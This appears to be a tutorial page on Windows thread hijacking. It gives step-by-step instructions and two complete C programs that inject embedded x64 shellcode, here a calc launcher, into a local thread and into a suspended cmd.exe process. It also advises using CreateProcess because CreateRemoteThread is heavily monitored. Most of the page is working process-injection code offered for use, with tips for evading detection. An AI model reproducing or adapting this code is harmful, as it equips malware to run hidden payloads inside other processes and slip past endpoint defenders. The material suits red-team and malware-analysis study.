Thread Hijacking
Thread Hijacking is a technique that can execute a payload with creating a new thread.
Hijacking a Local Thread
The steps to hijacking a local thread are as follows:
1.) Copy payload into a RWX buffer.
2.) Get a thread context that you want to hijack using the GetThreadContext() WinAPI or NT API equivalent. IMPORTANT: The thread must be in a suspended state.
3.) Set the Rip register to point to our buffer address
4.) Set the thread context using SetThreadContext() WINAPI or NTAPI equivilant.
5.) ResumeThread()
NOTE: In this example we are creating our own dummy thread in a suspended state. To suspend a thread, use SuspendThread(). Main threads cannot be Hijacked!
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
// x64 Calc Shellcode
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int fakeFunction() {
wprintf(L"This is a fake function!");
}
int wmain(void) {
// Start by Sacrificial Thread creating thread. Thread hijacking has to be performed on a Suspened Thread
HANDLE hThread = NULL;
LPVOID lpBuffer = NULL;
lpBuffer = VirtualAlloc(0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpBuffer == NULL) {
wprintf(L"Failed To Allocate Buffer %d\n", GetLastError());
}
memcpy(lpBuffer, Payload, sizeof(Payload));
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&fakeFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
wprintf(L"Failed to Create Thread %d\n", GetLastError());
return -1;
}
CONTEXT lpThreadContext;
if (!GetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed Get Thread Context %d\n", GetLastError());
return -1;
}
lpThreadContext.Rip = lpBuffer;
if (!SetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Resume Thread %d\n", GetLastError());
return -1;
}
ResumeThread(hThread);
getchar();
// Cleanup
VirtualFree(lpBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
return 0;
}
Hijacking a Remote Thread
Like we did for hijacking a local thread, we will create a dummy thread in a remote process. We can do this with CreateRemoteThread but it's a highly abused and monitored WINAPI function. Instead, we will use CreateProcess
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);Some important notes on CreateProcess:
lpApplicationName: Is the file name of the executable to open. Example: cmd.exe
lpCommandLine: The parameters for the specified lpApplicationName. Alternatively it can be the full file path w/ parameters. Example: C:/Windows/System32/cmd.exe /k whoami
Hijacking The Remote Thread
Once we have our Process and Thread handles from CreateDummyProcess(), we can allocate a remote buffer and copy our shellcode to it.
After our shellcodes been copied to our victim process we grab the thread context and assign the buffer address to the Rip register before callin SetThreadContext and ResumeThread.
WaitForSingleObject sets our thread into an alertable state. This prevents the thread from prematurely closing.
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
unsigned char Payload[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
int wmain() {
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
DWORD dProcessId, dThreadId = 0;
LPVOID lpRemoteBuffer = NULL;
CONTEXT lpThreadContext;
if (!CreateDummyProcess(&hProcess, &hThread, &dProcessId, &dThreadId)) {
wprintf("Failed to Create Dummy Process %d\n");
return -1;
}
wprintf(L"Created Process: %d\n", dProcessId);
// Allocate Remote Buffer in Dummy Process
lpRemoteBuffer = VirtualAllocEx(hProcess, 0, sizeof(Payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpRemoteBuffer == NULL) {
wprintf(L"Failed to Allocate Remote Buffer %d\n", GetLastError());
return -1;
}
// Copy x65 Calc Shellcode to Remote Buffer
if (!WriteProcessMemory(hProcess, lpRemoteBuffer, Payload, sizeof(Payload), NULL)) {
wprintf(L"Failed to Copy Shellcode to Remote Buffer %d\n", GetLastError());
return -1;
}
// Get Thread Context
if (!GetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Get Thread Context %d\n", GetLastError());
return -1;
}
lpThreadContext.Rip = lpRemoteBuffer;
if (!SetThreadContext(hThread, &lpThreadContext)) {
wprintf(L"Failed to Set Thread Context %d\n", GetLastError());
return -1;
}
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
getchar();
return 0;
}
BOOL CreateDummyProcess(OUT HANDLE* hProcess, OUT HANDLE* hThread, OUT DWORD* dProcessId, OUT DWORD* dThreadId) {
WCHAR wPath [MAX_PATH * 2];
WCHAR wWinDir [MAX_PATH];
BOOL isProcessCreated = FALSE;
STARTUPINFO lpStartupInfo = { 0 };
PROCESS_INFORMATION lpProcessInfo = { 0 };
RtlSecureZeroMemory(&lpStartupInfo, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&lpProcessInfo, sizeof(PROCESS_INFORMATION));
// Set the size of the strucure
lpStartupInfo.cb = sizeof(STARTUPINFO);
// Getting the value of the %WINDIR% environment variable
if (!GetEnvironmentVariableW(L"WINDIR", wWinDir, MAX_PATH)) {
printf("GetEnvironmentVariableW Failed %d\n", GetLastError());
return FALSE;
}
wsprintf(wPath, L"%s\\System32\\%s", wWinDir, L"cmd.exe");
// Creating the full target process path
isProcessCreated = CreateProcessW(
NULL,
wPath,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&lpStartupInfo,
&lpProcessInfo
);
if (!isProcessCreated) {
wprintf(L"Failed to Create Process %d\n", GetLastError());
return FALSE;
}
// Dereference and assign values.
*hProcess = lpProcessInfo.hProcess;
*hThread = lpProcessInfo.hThread;
*dProcessId = lpProcessInfo.dwProcessId;
*dThreadId = lpProcessInfo.dwThreadId;
return TRUE;
}
Last updated